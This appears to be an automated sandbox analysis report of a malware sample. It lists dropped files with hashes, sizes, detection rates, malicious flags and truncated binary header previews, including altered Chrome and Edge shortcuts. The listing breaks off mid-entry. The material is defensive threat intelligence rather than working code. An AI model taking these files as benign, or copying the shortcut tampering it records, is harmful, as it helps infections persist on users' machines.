MD5:	63D91B407A350DA5CE19B5D79924B1F4
SHA1:	45886A4018B60A5EAB7D4B743F4DF2A9A4318EDC
SHA-256:	22B626313A535C85CE6A097571C53A6E6678A9D4BC5D0DB9F81660ADC7ED366E
SHA-512:	FA06AB2B1AE116BC7AE93EA64D4C258A7149A23C0171C077F0919956101A22A59DD8E3F975C64073319842F01D6183253F637A0EDB514F0C02C9D88B0E65E6CF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........u..j...j...j.......j.......j.. ....j.. ....j.. ....j.. ....j..i....j...j...j..i....j..i....j..i...j...j...j..i....j..Rich.j..................PE..d....kP_.........." .........,...............................................`............`..........................................t..._...........@..........t"...*..x....P.......;..T...........................`;...............................................text............................... ..`.rdata..............................@..@.data...............................@....pdata..t".......$..................@..@.rsrc........@....... ..............@..@.reloc.......P.......&..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Turquoise CD Player\libcurl.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	363880
Entropy (8bit):	6.3947346615222305
Encrypted:	false
SSDEEP:	6144:lieS4N0DdxBa72yNQuqped6c7Bv5ebr+U2pyQqsa3a8g+QTW:UeSyCVaiyNQAd6cV5K+Jp37W
MD5:	460B0576549FFD1F55D717BA6E265A05
SHA1:	65AB7E2109658102678C122D7DE603E64DCE7CC5
SHA-256:	AAB56C21B6CEC7065882A750BECB4526B4CB5815A4AC002C2594F84FB0F5955F
SHA-512:	666B16FF72CB847B8D141B0110BBB45AAE67D9BB01E2D6B48C7BDA61C5DC3126CCBC72627C1B93EC23B87E9427C39DC890F1E0A72E5077DC0071E5FEA1B1E3A3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....................7!.....;.....9...............>.;...Vh-.......>.......>.:....=...>.8...Rich....................PE..d.....%Y.........." .........d.......................................................L....`.........................................@........................P...7...l..h!......8.......................................p............ ...............................text...K........................... ..`.rdata....... ......................@..@.data...@....@.......(..............@....pdata...7...P...8...*..............@..@.rsrc................b..............@..@.reloc..8............h..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Turquoise CD Player\libeay32.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2042352
Entropy (8bit):	7.085275197144553
Encrypted:	false
SSDEEP:	24576:OFZD9URlmDrgBrhEci8XhP3YLd44RS6+FNbqUzUxVvqKGTZnIzudBDFPjQAr10Fu:+ZeLrXFcL0YF7pvtHkfH
MD5:	876A839023B8F962A72D295DA7495734
SHA1:	62A7728679BC18784B1FBF1D013F7CECE18CBEC9
SHA-256:	A757D773DA406411FB977761F6E56F016D48D224AEDAF3D875ED4D4A9EDE6158
SHA-512:	E1B23A2F5EC0100FF874CA075BBD0F90E9065A90FEC66861F99DF603D7AAA9DB8E8EC326710FDC11AD41D01BEFE4EA3077136127ACF613614D0D12FF23BEC6C1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....^............................4.............@..........................@.......................................................p...3..............X............................................................................................text............................... ..`.rdata..x%.......0..................@..@.data....S.......0..................@....rsrc....@...p...@...@..............@..@.vcp1208............................a.G.........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Turquoise CD Player\libmp3lame.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	397672
Entropy (8bit):	6.4894894939696846
Encrypted:	false
SSDEEP:	12288:W8c9NNNNNNBgjcQFg7jaV95D3+wxech2KJ:tc9NNNNNN+jcQg7jMnD/xech2o
MD5:	B9F3C911728B17FE49BB217D799FCC1A
SHA1:	26F4A963E2F43F46323D8610FEC5E8CC8C4A8A16
SHA-256:	9CEB41F04B48CF7B419C95D03E227F593836D74A04625C0AD5AD2877D7229B65
SHA-512:	0A50270432E6E476D5B4DAF7D9D45053F821BEF02F1872EF598A9E66B2E6B75AE4A89AB97AE175C5143CE3C993D7A354F6389EB5A8BDDBFDE59522103535C403
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........v.{.%.{.%.{.%.=%.{.%.?%.{.%..%.{.%..%.{.%...%.{.%`.+%.{.%.{.%.{.%..<%.{.%.);%.{.%.{w%.{.%..>%.{.%Rich.{.%........................PE..d......].........." .....8..........................................................g,....`.........................................@...87..x...<.... ...........%......h!...........................................k..p............P...............................text...;6.......8.................. ..`.rdata.......P.......<..............@..@.data...............................@....pdata...%.......&..................@..@_RDATA..P/.......0..................@..@.rsrc........ ......................@..@.reloc..............................@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Turquoise CD Player\mousehelper.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	20840
Entropy (8bit):	6.3244920295043645
Encrypted:	false
SSDEEP:	384:rk3cFbdBtZHvagGFsGfZyGmGovy8ZpHEi+:rk0vHy9oyiRM
MD5:	D2BC90D6AF120A0643AD5DC5F3CE8D43
SHA1:	419C3246B08125754CCBB4323DD823F8DA0548CB
SHA-256:	BDED78571A2E60B3324AB9B4D3DDB6DE12FC08CB4BBE6A582A2C2292AA17CCE6
SHA-512:	F34C90E44F473A8CD62B75B6D531FDD47AD132A3F1BCE7AD5C0DDF30C61A2454BA214AA2B6CD50C2A1B6CD3AC85F2D9989775376A400D34EBBD2EFAB0FBECC7A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......ovA{+./(+./(+./("o.(/./(yb.))./(yb)%./(yb+)#./(yb,)(./(?\|.)../(+..(../(.b)./(.b/)./(.b.(./(.b-)./(Rich+./(........................PE..d....z{c.........." ......... .......................................................7....`..........................................8..t...T;..x....p.......`.......0..h!......<....1...............................2..8............0..(............................text............................... ..`.rdata.......0......................@..@.data........P.......(..............@....pdata.......`.......*..............@..@.rsrc........p.......,..............@..@.reloc..<...........................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Turquoise CD Player\msvcp120.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	660128
Entropy (8bit):	6.339798513733826
Encrypted:	false
SSDEEP:	12288:N2fus43uu43Ry4GHlT4xH2K+M+/i+WSpY+7YOzCaK9A3gS2EKZm+GWodEEwnyh:muJzCaK9AB2EKZm+GWodEEwnyh
MD5:	46060C35F697281BC5E7337AEE3722B1
SHA1:	D0164C041707F297A73ABB9EA854111953E99CF1
SHA-256:	2ABF0AAB5A3C5AE9424B64E9D19D9D6D4AEBC67814D7E92E4927B9798FEF2848
SHA-512:	2CF2ED4D45C79A6E6CEBFA3D332710A97F5CF0251DC194EEC8C54EA0CB85762FD19822610021CCD6A6904E80AFAE1590A83AF1FA45152F28CA56D862A3473F0A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........;..h..h..h..[h..h..h..h..Mh..hIAWh..h..Oh..h..qh..h..ph..h..uh..h..Lh..h..Kh..h..Nh..hRich..h................PE..d.....OR.........." .....@...................................................`......a.....`.........................................pU.. ....2..<....@...........G.......>...P.......X..................................p............P...............................text....>.......@.................. ..`.rdata.......P.......D..............@..@.data........P...8...B..............@....pdata...G.......H...z..............@..@.rsrc........@......................@..@.reloc.......P......................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Turquoise CD Player\msvcp140.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	590632
Entropy (8bit):	6.463330275333709
Encrypted:	false
SSDEEP:	12288:Mt8MRN4gE4x4iTqwTQa6IUqXF7XyxpypsdUDqNSfbQEKZm+jWodEEV3Ho/:MCMm9pyp35bQEKZm+jWodEExg
MD5:	E74CAF5D94AA08D046A44ED6ED84A3C5
SHA1:	ED9F696FA0902A7C16B257DA9B22FB605B72B12E
SHA-256:	3DEDEF76C87DB736C005D06A8E0D084204B836AF361A6BD2EE4651D9C45675E8
SHA-512:	D3128587BC8D62E4D53F8B5F95EB687BC117A6D5678C08DC6B59B72EA9178A7FD6AE8FAA9094D21977C406739D6C38A440134C1C1F6F9A44809E80D162723254
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......n..............w.(...#...<........../.....".................+.....g.+.....+...Rich*...................PE..d...R8.^.........." .....>..........p"....................................................`A........................................ m..h....G..,...............(;......(A......4.......T...............................0............P......Ti..@....................text....=.......>.................. ..`.rdata.......P.......B..............@..@.data....:...`..."...P..............@....pdata..(;.......<...r..............@..@.didat..h...........................@....rsrc...............................@..@.reloc..4...........................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Turquoise CD Player\msvcp140_1.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	31528
Entropy (8bit):	6.472533190412445
Encrypted:	false
SSDEEP:	384:R77JqjlI8icUYWhN5tWcS5gWZoMUekWi9pBj0HRN7RA5aWixHRN7osDhzlGs6N+E:R5D8icUlX5YYMLAWRAlypmPB
MD5:	7EE2B93A97485E6222C393BFA653926B
SHA1:	F4779CBFF235D21C386DA7276021F136CA233320
SHA-256:	BD57D8EEF0BC3A757C5CE5F486A547C79E12482AC8E694C47A6AB794AA745F1F
SHA-512:	4A4A3F56674B54683C88BD696AB5D02750E9A61F3089274FAA25E16A858805958E8BE1C391A257E73D889B1EEA30C173D0296509221D68A492A488D725C2B101
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........U..\4~.\4~.\4~...^4~.UL..X4~.Dz.[4~.D}.^4~.\4..v4~.D..Y4~.D{.O4~.D~.]4~.D..]4~.D\|.]4~.Rich\4~.........PE..d...W8.^.........." .........$............................................................`A.........................................>..L....?..x....p.......`..4....:..(A......p...@3..T............................3..0............0..0............................text...(........................... ..`.rdata.......0......................@..@.data........P.......,..............@....pdata..4....`.......0..............@..@.rsrc........p.......4..............@..@.reloc..p............8..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Turquoise CD Player\msvcr120.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	963232
Entropy (8bit):	6.634408584960502
Encrypted:	false
SSDEEP:	24576:FkZ+EUPoH5KTcAxt/qvRQdxQxO61kCS9mmWymzVPD:FkMAlM8ixQI5C6wl
MD5:	9C861C079DD81762B6C54E37597B7712
SHA1:	62CB65A1D79E2C5ADA0C7BFC04C18693567C90D0
SHA-256:	AD32240BB1DE55C3F5FCAC8789F583A17057F9D14914C538C2A7A5AD346B341C
SHA-512:	3AA770D6FBA8590FDCF5D263CB2B3D2FAE859E29D31AD482FBFBD700BCD602A013AC2568475999EF9FB06AE666D203D97F42181EC7344CBA023A8534FB13ACB7
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........Ck.."..".."..D...".."..-"...s..$ ...s.."...s.."...s.. "...s.."...s.."...s.."..Rich."..........................PE..d.....OR.........." .....h...:.......)..............................................].....`.................................................@...(............@...s...t...>......8...p................................2..p............................................text....g.......h.................. ..`.rdata...8.......:...l..............@..@.data...hu.......D..................@....pdata...s...@...t..................@..@.rsrc................^..............@..@.reloc..8............b..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Turquoise CD Player\openh264.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	869224
Entropy (8bit):	6.632387605957213
Encrypted:	false
SSDEEP:	24576:DJf34ppw4hjg401r+iTy2mmzuF3SJciti0ZIj8UoJwCR:Dl3ypw4yN/RiF3SJdO8xJv
MD5:	DAA904CE63B0A290111AED5E843B9368
SHA1:	6642AD5C2622D756EB3500E7C0420E9DA7A16BB1
SHA-256:	471BBC3FA0A98869F6791E0D1A55B38F5E360842A7CC219A6FF26030E62DBB1B
SHA-512:	CBFD06523F1855AAF4BE2D33EB3A3A324C8D7AF4871B314AC2C165FD17F8DA6CD2F465E9405412282AAC1ED247B811A4A73D91069A324A5AEC531253AE3A4D0B
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......t.9d0.W70.W70.W7...73.W70.V7m.W7.M.71.W7v..7..W7v..7..W7v..7$.W7.s.7e.W70.W7'.W7.s.71.W7=..71.W7.s.71.W7Rich0.W7........PE..d......].........." .....8...........\...............................................$....`.................................................\|...(....`..........x]..."..h!...p.......R..8...............................p............P..H............................text...7+.......,.................. ..`.rodata......@.......0.............. ..`.rdata..FP...P...R...<..............@..@.data... K.......&..................@....pdata..x].......^..................@..@.rsrc........`......................@..@.reloc.......p......................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Turquoise CD Player\openh264_license.txt (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	1297
Entropy (8bit):	5.115489615345492
Encrypted:	false
SSDEEP:	24:CbUneZXof9+bOOrXqFT09+JYrXqFTzl796432s4EOkUs8QROJ32s3yxsITf+3t1e:Cn3OOrXqJ07rXqJzr6432sv832s3EsI/
MD5:	AAF4009F5963B1B270D8C3E697EBE442
SHA1:	F5A44235094DA0B8B5992C6112CB8C356EF22B93
SHA-256:	3988CDCCB878675B4AB8C11F21EF7F6301451F59E2E2BF3F07E963D36C8E9767
SHA-512:	BC30F4C5F17E4F0CDE2CDD5C36A6EC28271569E18808E736186D42409564E3E6FFA8AD23842912C90F39CE6264A698714A434092778C74CBDE6C330DD3969109
Malicious:	false
Reputation:	unknown
Preview:	Copyright (c) 2013, Cisco Systems.All rights reserved...Redistribution and use in source and binary forms, with or without modification,.are permitted provided that the following conditions are met:..* Redistributions of source code must retain the above copyright notice, this. list of conditions and the following disclaimer...* Redistributions in binary form must reproduce the above copyright notice, this. list of conditions and the following disclaimer in the documentation and/or. other materials provided with the distribution...THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND.ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED.WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE.DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR.ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES.(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERV

C:\Users\user\AppData\Local\Turquoise CD Player\proportions.txt (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	51
Entropy (8bit):	3.48286657951254
Encrypted:	false
SSDEEP:	3:cUoytoUD6MBomFUT:cUoQoUD6Qoyy
MD5:	034D89CD2C41EDFCEADA9F96A3C0A56A
SHA1:	92AB4E6FF98CA987D56EA3C1BA36D1C61EF23ACB
SHA-256:	44BBE94D481B106F00223DD406D015AEFD00CFA2DBA9428BEFC2B8F6A3FEB971
SHA-512:	6C3E701D2D0FD24FDB46C0E1B0EF5245F36E4A34A9D2340665A31F6331C2D6F08680399600FB02C3D51694F9BAFFB3E41A367CB4FE945D4836B669DA63EB6358
Malicious:	false
Reputation:	unknown
Preview:	1 1..4 3..3 2..16 9..6 5..468 60..728 90..2592 1936

C:\Users\user\AppData\Local\Turquoise CD Player\turquoisecdplayer.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	2817403
Entropy (8bit):	6.609843339002919
Encrypted:	false
SSDEEP:	49152:kJB6eypEAq+ZRXDHw2mUDlcjGA6PHTzOCdw5V:JnbPXDQ2melci7PHqL
MD5:	578530F1C73BA58C2D868B45C7223945
SHA1:	3E23CE8B870A4C1061103289B461AA7390AAE9D6
SHA-256:	204FE3CF3707B6739E4A5FD8DEA0E69787A1353A4BFEF9BD29BF5FF084931B3A
SHA-512:	2F56F6C27F5144FE1F465B509740274B31E37B7F63B959E841390C9647CA8CEE8E5F08E4CC6A54D7898B1F69C496AED7E9979489EFA043F4680ACDDDD1C16416
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....C.^............................T.............@..........................0+......................................................p...\..............................................................................H............................text............................... ..`.rdata..X........0..................@..@.data...8T.......0..................@....rsrc....`...p...`...@..............@..@_set_1...`......{]..................a.U.........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Turquoise CD Player\unins000.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp
File Type:	InnoSetup Log Turquoise CD Player, version 0x30, 5317 bytes, 549163\user, "C:\Users\user\AppData\Local\Turquoise CD Player"
Category:	dropped
Size (bytes):	5317
Entropy (8bit):	4.798211028517384
Encrypted:	false
SSDEEP:	96:0jdWK488Xp/8xXhV94+eOIhrw4cVSQs0LvvB:qdWK488p/qxJHIhZcVSQ1x
MD5:	076072735CC22B59AE2174E2BB5ED519
SHA1:	9402588D3211FB1AAB0F4ED72DB9E2EF1998BBC0
SHA-256:	F92908DE4389C14D2D6FD746C44C09096D3EB67194563310382103665A41C9BC
SHA-512:	34A5EA739F9FCACB4297445C75C899321F4717BF0C7A505A9728E1518464230A7197E04128B88608321AEF9C40159399A58A23110906115E933DB27480D11B78
Malicious:	false
Reputation:	unknown
Preview:	Inno Setup Uninstall Log (b)....................................Turquoise CD Player.............................................................................................................Turquoise CD Player.............................................................................................................0...........%...............................................................................................................]..#...........b......R....549163.user1C:\Users\user\AppData\Local\Turquoise CD Player.................. .....9......IFPS.............................................................................................................BOOLEAN..............TWIZARDFORM....TWIZARDFORM.........TPASSWORDEDIT....TPASSWORDEDIT...........................................!MAIN....-1..(...dll:kernel32.dll.CreateFileA..............$...dll:kernel32.dll.WriteFile............"...dll:kernel32.dll.CloseHandle........"...dll:kernel32.dll.ExitProcess........%...dll:User

C:\Users\user\AppData\Local\Turquoise CD Player\unins000.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	707354
Entropy (8bit):	6.470927487159611
Encrypted:	false
SSDEEP:	12288:D0QfKb7nH5lrPo37AzHTA63I0ihE4UEQrrNtIECORGv65ELAfXExy8s:nfKbT5lrPo37AzHTA63/cfU9IEU653fz
MD5:	F612FA84EEE47A292945FBB628986AB7
SHA1:	007F558AFE9BA619E3F57E6388385C28BCC81424
SHA-256:	40AE950AA309906160DA060388D771DC40A809617034E9B0BCAF7C7ED8103419
SHA-512:	AF7D47AAEBCE6A8494BB4C2833448834E3DA734B95A8AD43BE5903938F259D3C83E50F030A717571E85BF06BA660EC950418DB9BF230CCBA9CC9E0E73D688F0B
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................&...........1.......@....@..............................................@...............................%...`...>..........................................................................................................CODE.....$.......&.................. ..`DATA....<....@.....................@...BSS..........`.......<...................idata...%.......&...<..............@....tls.................b...................rdata...............b..............@..P.reloc..............................@..P.rsrc....>...`...>...d..............@..P.....................*..............@..P........................................................................................................................................

C:\Users\user\AppData\Local\cd606818-a84b-463e-828b-b93214ba547c\7U1bGcxK3Lqi_XMHDNEdJrhB.exe

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	744960
Entropy (8bit):	7.822971503052979
Encrypted:	false
SSDEEP:	12288:q+dJfgo8vQKBuYVcUOmsIzxGd1OrZ7Ir2YjqF7fKjnmaoBt9WWayr9q0:hgoWQKBuXUtgdAJ2maoBtKyr9q0
MD5:	ADD437E239EBA1CEABCA80AF38F80B56
SHA1:	7D288EB76B3F0B1B3C37A020A61E97D4E43A1450
SHA-256:	2CE2C104C964166CF5FC95D7C855C173533BF28B7053A398BB01E757FD0D94EA
SHA-512:	C6447B5E35F05399EFB4263DB09C2E980F402C2368A06806A37684B0B248635B6F64F51587479D9FE66F833F5C44EA7A571CE7D5F5886A5EB54B6DF30F9A9FD5
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........H...)..)..)..{..)..{1..)..{0.)..QB.)..)...)....4.)..{..)......)..Rich.)..........................PE..L...`{]e............................v=....... ....@............................................................................<....@...............................................................x..@............ ..P............................text...#........................... ..`.rdata..Rk... ...l..................@..@.data...........8...\|..............@....rsrc........@......................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2246122658-3693405117-2476756634-1003\76b53b3ec448f7ccdda2063b15d2bfc3_9e146be9-c76a-4720-bcdb-53011b87bd06

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	2251
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	0158FE9CEAD91D1B027B795984737614
SHA1:	B41A11F909A7BDF1115088790A5680AC4E23031B
SHA-256:	513257326E783A862909A2A0F0941D6FF899C403E104FBD1DBC10443C41D9F9A
SHA-512:	C48A55CC7A92CEFCEFE5FB2382CCD8EF651FC8E0885E88A256CD2F5D83B824B7D910F755180B29ECCB54D9361D6AF82F9CC741BD7E6752122949B657DA973676
Malicious:	false
Reputation:	unknown
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:41 2023, mtime=Wed Oct 4 12:40:12 2023, atime=Wed Sep 27 04:28:27 2023, length=3242272, window=hide
Category:	dropped
Size (bytes):	2436
Entropy (8bit):	3.5853371292286824
Encrypted:	false
SSDEEP:	48:8STdfTXdanRYrnvDdAKRkdA0qOJq87dAKR+/KRllynP:8SJ4SINly
MD5:	A9A49502C44818B0D2E80BFE6503F9E3
SHA1:	A583EB1FA5D573846D34F5BF25262F3C8E2365D4
SHA-256:	5267B76C5C7745921E413851FC9D597194B88CECF657DF4871B873D49287EC06
SHA-512:	D24E711F011CA5A052CE79379F48B8484D3D518003631789AD5883906D424B13FC59B74B203D3C20E4752F849A65E4DAA8E386361A52B552F83F2B04756E1EB0
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ......,....}..L.......q.... y1.....................#....P.O. .:i.....+00.../C:\.....................1.....DW.H..PROGRA~1..t......O.IDW&l....B...............J.......8.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VDWUl....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VDWUl....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VDWUl..........................."&.A.p.p.l.i.c.a.t.i.o.n.....`.2. y1.;W.+ .chrome.exe..F......CW.VDW)l..........................,.6.c.h.r.o.m.e...e.x.e.......d...............-.......c............F.......C:\Program Files\Google\Chrome\Application\chrome.exe....A.c.c.e.s.s. .t.h.e. .I.n.t.e.r.n.e.t.G.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.@. .-

C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Microsoft Edge.lnk

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Thu Aug 5 21:41:46 2021, mtime=Wed Oct 4 12:34:48 2023, atime=Fri Sep 29 11:17:35 2023, length=4210216, window=hide
Category:	modified
Size (bytes):	2506
Entropy (8bit):	3.682697400104861
Encrypted:	false
SSDEEP:	48:8dQG2dOyW+YusJ2JrnzTdRdkqOJq5dLXuHj0PkZy+7:8bVSl7uD0PkZy
MD5:	3FDE95F4E80B8E52A1E89534B5D18455
SHA1:	631A964A86619B52C8CF229E24B9703508690097
SHA-256:	F149E3DF33F1667C279DC227BC90BADE76E3C39450812752A88BD9DCCBDB51CE
SHA-512:	7A14ED0C0BA3ABBD4DB09F711EEBA73311422AEB6C1447C88B0CC2E9F3857606531A5C8AB096B463976B7E263630C1F6D77F0D173FB588C5D168B64EBFD2C16D
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. .....\|.K...e[P......?......(>@.....................1....P.O. .:i.....+00.../C:\.....................1.....DW-F..PROGRA~2.........O.IDW&l....................V.........P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.)...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.7.....\.1.....CW.`..MICROS~1..D......(Ux.DWUl..........................6\|..M.i.c.r.o.s.o.f.t.....N.1.....CWaa0.Edge..:.......S8.DWUl...........................s..E.d.g.e.....`.1.....CWaa0.APPLIC~1..H.......S8.DWUl..............................A.p.p.l.i.c.a.t.i.o.n.....`.2.(>@.=W2b .msedge.exe..F.......S8.DWUl....u.......................q.m.s.e.d.g.e...e.x.e.......k...............-.......j............F.......C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe....B.r.o.w.s.e. .t.h.e. .w.e.b.N.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.1.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.

C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:41 2023, mtime=Tue Oct 3 09:48:42 2023, atime=Wed Sep 27 04:28:27 2023, length=3242272, window=hide
Category:	dropped
Size (bytes):	2477
Entropy (8bit):	3.613168324457863
Encrypted:	false
SSDEEP:	48:8S7dBT6DpRYrnvs4dAKRkdA0qOJq87dAKR+/KRlay8Ec:8SnhCNayd
MD5:	D742725F7E1CE64FF16D7603C535F4F2
